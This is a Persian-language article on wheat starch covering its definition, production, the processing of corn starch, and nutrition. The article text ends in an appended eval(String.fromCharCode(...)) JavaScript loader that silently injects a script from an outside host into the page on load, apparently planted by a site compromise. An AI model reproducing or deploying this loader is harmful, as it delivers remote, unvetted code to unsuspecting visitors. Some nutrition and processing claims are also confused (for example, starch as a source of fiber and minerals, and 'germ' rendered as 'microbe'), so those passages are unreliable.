نشاسته گندم چیست؟

نشاسته (Starch) از کربوهیدرات‌های مهم در رژیم غذایی است که انرژی بدن را تامین می‌کند و حاوی فیبر، کلسیم، آهن و ویتامین B است. بر خلاف باور عموم نشاسته چاق کننده نیست و فواید بسیاری دارد.
نشاسته گندم کربوهیدراتی است که در گندم یافت می‌شود و جزء رایج رژیم غذایی انسان است. منابع معمولی نشاسته برای پخت عبارتند از گندم، ذرت، سیب زمینی یا تاپیوکا. این یک پلی ساکارید حاوی مقدار زیادی مولکول گلوکز است. نشاسته چه به شکل اصلی و چه به عنوان یکی از مشتقات آن، کاربردهای متنوعی در صنایع غذایی و تولیدی دارد. نشاسته گندم به سادگی نشاسته ای است که از آندوسپرم فرآوری شده دانه گندم تهیه می شود. احتمالاً با حل کردن نشاسته محلول در آب و سپس تبخیر آب، فرآوری می شود که نتیجه نهایی آن یک نشاسته پودری خوب است. از آنجایی که پروتئین های گلوتن حذف شده اند، نشاسته گندم خاصیت ارتجاعی به خمیر نمی دهد – در درجه اول به عنوان غلیظ کننده استفاده می شود.
برای تولید نشاسته ذرت، دانه ها را تمیز کرده و در آب خیس می کنند تا بزرگ و نرم شوند. سپس آنها را آسیاب می کنند تا پوسته های بیرونی شکسته شوند و سپس یک جداکننده میکروب را آزاد می کند. این میکروب شامل نشاسته، فیبر و گلوتن است. پس از یک فرآیند آسیاب کردن و غربالگری، فیبر، نشاسته و گلوتن در یک سانتریفیوژ پردازش می‌شوند تا گلوتن نازک‌تر خارج شود. نشاسته گندم از آرد هیدراته تهیه می شود.
هزاران رقم / گونه از انواع مختلف گندم و گونه های مختلف از نظر عملکرد نشاسته (خواص حرارتی، برگشتی، چسباندن و تغذیه) در سراسر جهان رشد می کنند. این خواص مربوط به ترکیب نشاسته، مورفولوژی و ساختار است که با شرایط ژنتیکی، زراعی و محیطی متفاوت است.

ارزش غذایی نشاسته گندم

نشاسته در انواع گیاهانی که ما می خوریم، از جمله سیب زمینی، ذرت، برنج و گندم وجود دارد. آنها یک مولکول پیچیده هستند که گیاهان برای ذخیره انرژی به روشی کارآمد و فشرده استفاده می کنند. به عبارت دیگر، آنها تقریباً کالری خالص هستند. یک فنجان نشاسته گندم حدود 385 کالری دارد که نزدیک به 380 آن از کربوهیدرات ها تامین می شود. هر فنجان نشاسته گندم کمتر از 3 گرم چربی و 1 گرم پروتئین دارد.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/